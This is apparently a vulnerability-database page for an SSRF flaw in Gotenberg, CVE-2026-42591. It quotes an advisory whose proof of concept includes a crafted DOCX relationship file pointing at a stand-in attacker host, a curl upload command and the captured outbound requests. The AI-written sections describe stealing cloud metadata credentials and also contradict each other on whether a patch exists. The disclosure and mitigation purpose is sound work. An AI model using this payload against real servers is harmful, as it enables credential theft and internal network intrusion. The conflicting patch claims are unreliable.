Skip to main content

Gotenberg CVE-2026-42591

| EUVDEUVD-2026-30309 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-rm4c-xj6x-49mw
8.2
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft OOXML with external URL
  2. Delivery
    Upload to /forms/libreoffice/convert
  3. Exploit
    LibreOffice fetches embedded URL
  4. Execution
    Access internal service/metadata
  5. Impact
    Exfiltrate via PDF or timing

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of Gotenberg. Attack requires only HTTP access to the /forms/libreoffice/convert API endpoint which is exposed by default on port 3000. No authentication, API keys, or special headers needed per the proof-of-concept curl command. Exploitation succeeds when the Gotenberg container has outbound network connectivity to internal networks or metadata endpoints - limiting factor is network isolation at infrastructure level (VPC/firewall rules). The vulnerability triggers on any uploaded Office document format that LibreOffice processes (.docx, .xlsx, .pptx, .odt, .ods, .odp, .rtf, .docm, .xlsm, .pptm) containing external URL references in relationship files. No user interaction required beyond the attacker's API request. Deployments with strict egress filtering blocking private IP ranges and cloud metadata endpoints significantly reduce exploitability, but default Docker networking permits full outbound access.

Impact

Real-world risk is HIGH and aligns with the CVSS 8.2 score. Attack vector is network-based (AV:N) with low complexity (AC:L) and no authentication required (PR:N), matching the proof-of-concept showing simple curl uploads triggering immediate outbound requests. The vulnerability enables direct access to cloud metadata endpoints (169.254.169.254) which in AWS/GCP/Azure environments yields temporary IAM credentials with potentially broad permissions - this elevates the confidentiality impact (C:H) beyond typical SSRF. Limited integrity impact (I:L) reflects potential to trigger state changes in internal APIs via GET/OPTIONS requests. No EPSS or KEV data available but exploitation barriers are minimal: public PoC exists with working DOCX templates, attack requires only HTTP access to the conversion endpoint, and affected deployments are trivially identifiable via standard API fingerprinting. CRITICAL CONFLICT: Input states 'fixed in: None' yet this is v8.31.0 vintage data - verify current patch status independently as Gotenberg project explicitly acknowledged the issue in GitHub advisory GHSA-rm4c-xj6x-49mw. The suggested mitigations (network namespace isolation, OOXML scanning) indicate vendor awareness but absence of tagged fix version suggests either in-development patch or reliance on deployment-level controls. Prioritize if Gotenberg instances have network access to sensitive internal infrastructure or run in cloud environments with metadata services.

Exploit ScenarioDerived

Attacker crafts a DOCX file embedding an external image reference pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/ in the document relationship XML. The malicious document is uploaded to the public /forms/libreoffice/convert endpoint via HTTP POST with no authentication. Gotenberg passes the file to LibreOffice which automatically fetches the embedded URL during PDF rendering, retrieving temporary AWS IAM credentials from the metadata service. The HTTP response content may be embedded in the generated PDF or exfiltrated via timing analysis across multiple requests to map internal network topology and identify active services on RFC 1918 addresses.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Server-Side Request Forgery in Gotenberg's LibreOffice conversion endpoint allows remote attackers to make arbitrary HTTP requests from the server to internal networks and cloud metadata endpoints. Attackers upload specially crafted Office documents (DOCX, XLSX, PPTX) with embedded external URL references that LibreOffice fetches during PDF conversion, completely bypassing the SSRF protections introduced in v8.31.0. Publicly available exploit code exists with detailed proof-of-concept showing three successful HTTP requests to attacker-controlled servers. The vulnerability enables exfiltration of cloud IAM credentials from metadata services (169.254.169.254), internal service enumeration, and network reconnaissance without authentication. CVSS 8.2 with network vector and no privileges required reflects accurate real-world risk given documented exploitation method and lack of vendor-released patch.

RemediationAI

Upstream fix available (PR/commit); released patched version not independently confirmed - monitor https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw for official release announcements. Implement immediate compensating controls: (1) Run LibreOffice subprocess with network namespace isolation using 'unshare --net' to completely block outbound connections - requires modifying container startup or Gotenberg configuration to wrap libreOffice.Pdf() calls, side effect is legitimate external resources in documents will fail to load but PDF conversion completes. (2) Deploy network-level egress filtering to block Gotenberg containers from reaching RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local addresses (169.254.0.0/16), and localhost - configure firewall rules or Kubernetes NetworkPolicies to whitelist only necessary external destinations. (3) Implement input validation by inspecting uploaded OOXML files (unzip and parse _rels/*.rels XML) to detect TargetMode='External' attributes and reject or strip those relationships before conversion - adds processing overhead and requires ZIP handling logic. (4) If feasible, restrict the /forms/libreoffice/convert endpoint to authenticated users only and audit all conversion requests - reduces attack surface but does not prevent authenticated abuse. Trade-offs: namespace isolation is most effective but may break legitimate use cases requiring external fonts or resources; egress filtering provides defense-in-depth but requires infrastructure changes; input scanning creates performance impact and must handle all OOXML variants correctly.

Affected VersionsENISA

gotenberg < 8.32.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.32.0
euvd gotenberg fix: 8.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-based API service written in Go that converts documents to PDF using embedded LibreOffice and Chromium engines. The vulnerability exists in the /forms/libreoffice/convert endpoint which accepts Office Open XML (OOXML) documents - ZIP archives containing XML relationship files. OOXML formats (.docx, .xlsx, .pptx) support external resource references via TargetMode='External' attributes in _rels/*.rels files. When LibreOffice processes these documents for PDF conversion, it uses libcurl to fetch external URLs embedded in image references, hyperlinks, or linked objects. The SSRF hardening introduced in v8.31.0 wraps Go's http.Client with custom dialers that validate outbound URLs and reject RFC 1918 private addresses, but this protection layer operates only within the Go runtime. LibreOffice runs as a separate subprocess making independent HTTP connections through its own network stack, so the Go-level dial hooks cannot intercept or filter these requests. This architectural gap creates CWE-918 (Server-Side Request Forgery) exposure through unvalidated document content passed to external conversion tools.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
May 14, 2026 - 18:02 EUVD
CVE Published
May 07, 2026 - 00:57 nvd
HIGH 8.2

DescriptionCVE.org

Summary

The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles - Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.

This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.

Details

When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():

go
err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)

There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs - but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.

OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.

Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess - no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.

PoC

Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.

word/_rels/document.xml.rels:

xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>

word/document.xml (references the external image via r:link):

xml
<w:drawing>
  <wp:inline distT="0" distB="0" distL="0" distR="0">
    <wp:extent cx="914400" cy="914400"/>
    <wp:docPr id="1" name="Picture 1"/>
    <a:graphic>
      <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
        <pic:pic>
          <pic:nvPicPr>
            <pic:cNvPr id="1" name="ssrf.png"/>
            <pic:cNvPicPr/>
          </pic:nvPicPr>
          <pic:blipFill>
            <a:blip r:link="rId10"/>
            <a:stretch><a:fillRect/></a:stretch>
          </pic:blipFill>
          <pic:spPr>
            <a:xfrm>
              <a:off x="0" y="0"/>
              <a:ext cx="914400" cy="914400"/>
            </a:xfrm>
            <a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
          </pic:spPr>
        </pic:pic>
      </a:graphicData>
    </a:graphic>
  </wp:inline>
</w:drawing>

Pack into a valid DOCX zip and send:

sh
curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx

Canary server immediately shows LibreOffice reaching out:

OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.

Impact

LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:

  • Hit internal services - localhost, 10.x, 192.168.x, whatever the container can reach
  • Grab cloud metadata at http://169.254.169.254/ (AWS/GCP/Azure IAM creds)
  • Port scan the internal network via response timing
  • The v8.31.0 SSRF hardening doesn't help here at all - it only covers Go HTTP calls, not LibreOffice's own connections

Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.

Executive ViewAI

Why It Matters

CVE-2026-42591 is a Server-Side Request Forgery vulnerability in Gotenberg's document conversion service that allows unauthenticated attackers to exfiltrate sensitive cloud credentials and enumerate internal infrastructure by uploading malicious Office documents. Organizations using Gotenberg for document processing face immediate risk of cloud credential compromise and lateral movement into internal networks, particularly those relying on IAM metadata services for authentication.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement strict network egress controls blocking outbound access from Gotenberg to metadata endpoints (169.254.169.254) and internal services; (2) Disable or remove LibreOffice conversion functionality if not business-critical; (3) Restrict document upload endpoints to authenticated users only with IP whitelisting; (4) Scan uploaded documents for embedded external references before processing; (5) Run Gotenberg in isolated network segments without access to cloud metadata or sensitive internal systems; (6) Monitor Gotenberg logs and network traffic for suspicious HTTP requests to internal ranges or metadata endpoints.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy